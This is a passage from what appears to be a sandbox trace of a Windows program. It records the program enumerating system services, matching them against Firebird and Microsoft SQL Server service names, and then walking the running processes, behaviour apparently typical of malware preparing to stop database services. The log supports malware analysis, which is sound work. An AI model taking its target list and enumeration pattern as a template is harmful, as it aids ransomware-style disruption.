lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f3b70, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0079.616] CloseServiceHandle (hSCObject=0x4cef18) returned 1 [0079.616] lstrlenW (lpString="Appinfo") returned 7 [0079.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0079.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0079.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0079.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0079.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0079.617] lstrlenW (lpString="AppXSvc") returned 7 [0079.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0079.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0079.617] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0079.617] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0079.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0079.617] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0079.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.617] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0079.617] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0079.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0079.617] lstrlenW (lpString="Audiosrv") returned 8 [0079.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0079.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0079.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0079.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0079.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0079.617] lstrlenW (lpString="BFE") returned 3 [0079.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0079.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0079.617] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0079.617] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0079.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0079.617] lstrlenW (lpString="BITS") returned 4 [0079.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0079.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0079.618] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0079.618] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0079.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0079.618] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0079.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0079.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0079.618] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0079.618] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0079.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0079.618] lstrlenW (lpString="CDPSvc") returned 6 [0079.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0079.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0079.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0079.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0079.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0079.618] lstrlenW (lpString="ClickToRunSvc") returned 13 [0079.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0079.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0079.618] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0079.618] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0079.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0079.618] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0079.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0079.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0079.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0079.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0079.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0079.618] lstrlenW (lpString="CryptSvc") returned 8 [0079.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0079.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0079.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0079.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0079.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0079.618] lstrlenW (lpString="DcomLaunch") returned 10 [0079.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0079.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0079.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0079.619] lstrlenW (lpString="DeviceAssociationService") returned 24 [0079.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0079.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0079.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0079.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0079.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0079.619] lstrlenW (lpString="Dhcp") returned 4 [0079.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0079.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0079.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0079.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0079.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0079.619] lstrlenW (lpString="Dnscache") returned 8 [0079.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0079.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0079.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0079.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0079.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0079.619] lstrlenW (lpString="DoSvc") returned 5 [0079.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0079.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0079.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0079.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0079.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0079.619] lstrlenW (lpString="DPS") returned 3 [0079.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0079.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0079.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0079.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0079.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0079.619] lstrlenW (lpString="DusmSvc") returned 7 [0079.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0079.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0079.620] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0079.620] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0079.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0079.620] lstrlenW (lpString="EventLog") returned 8 [0079.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0079.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0079.620] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0079.620] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0079.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0079.620] lstrlenW (lpString="EventSystem") returned 11 [0079.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0079.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0079.620] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0079.620] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0079.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0079.620] lstrlenW (lpString="FontCache") returned 9 [0079.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0079.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0079.620] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0079.620] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0079.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0079.620] lstrlenW (lpString="gpsvc") returned 5 [0079.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0079.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0079.620] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0079.620] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0079.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0079.620] lstrlenW (lpString="iphlpsvc") returned 8 [0079.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.620] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0079.620] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0079.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0079.621] lstrlenW (lpString="KeyIso") returned 6 [0079.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0079.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0079.621] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0079.621] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0079.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0079.621] lstrlenW (lpString="LanmanServer") returned 12 [0079.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0079.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0079.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0079.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0079.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0079.621] lstrlenW (lpString="LanmanWorkstation") returned 17 [0079.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0079.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0079.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0079.621] lstrlenW (lpString="lfsvc") returned 5 [0079.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0079.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0079.621] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0079.621] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0079.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0079.621] lstrlenW (lpString="lmhosts") returned 7 [0079.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0079.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0079.621] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0079.621] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0079.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0079.621] lstrlenW (lpString="LSM") returned 3 [0079.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0079.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0079.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0079.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0079.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0079.622] lstrlenW (lpString="MapsBroker") returned 10 [0079.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0079.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0079.622] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0079.622] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0079.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0079.622] lstrlenW (lpString="MpsSvc") returned 6 [0079.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.622] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.622] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.622] lstrlenW (lpString="NcbService") returned 10 [0079.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0079.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0079.622] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0079.622] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0079.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0079.622] lstrlenW (lpString="netprofm") returned 8 [0079.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.622] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.622] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.622] lstrlenW (lpString="NlaSvc") returned 6 [0079.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.622] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.622] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.622] lstrlenW (lpString="nsi") returned 3 [0079.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.622] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.622] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.623] lstrlenW (lpString="PcaSvc") returned 6 [0079.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.623] lstrlenW (lpString="PlugPlay") returned 8 [0079.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.623] lstrlenW (lpString="Power") returned 5 [0079.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0079.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.623] lstrlenW (lpString="ProfSvc") returned 7 [0079.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.623] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.623] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.623] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.623] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.623] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.623] lstrlenW (lpString="RpcSs") returned 5 [0079.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.623] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.623] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.624] lstrlenW (lpString="SamSs") returned 5 [0079.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.624] lstrlenW (lpString="Schedule") returned 8 [0079.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.624] lstrlenW (lpString="SecurityHealthService") returned 21 [0079.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0079.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0079.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0079.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0079.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0079.624] lstrlenW (lpString="SENS") returned 4 [0079.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.624] lstrlenW (lpString="ShellHWDetection") returned 16 [0079.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.624] lstrlenW (lpString="Spooler") returned 7 [0079.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.625] lstrlenW (lpString="SSDPSRV") returned 7 [0079.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0079.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0079.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0079.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0079.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0079.625] lstrlenW (lpString="StateRepository") returned 15 [0079.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0079.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0079.625] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0079.625] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0079.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0079.625] lstrlenW (lpString="SysMain") returned 7 [0079.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.625] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f3b70 | out: hHeap=0x490000) returned 1 [0079.625] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0079.949] Process32FirstW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.950] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.950] lstrlenW (lpString="System") returned 6 [0079.950] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.951] lstrlenW (lpString="smss.exe") returned 8 [0079.951] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.951] lstrlenW (lpString="csrss.exe") returned 9 [0079.951] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.952] lstrlenW (lpString="wininit.exe") returned 11 [0079.952] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.952] lstrlenW (lpString="csrss.exe") returned 9 [0079.952] Process32NextW (in: hSnapshot=0x388, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.953] 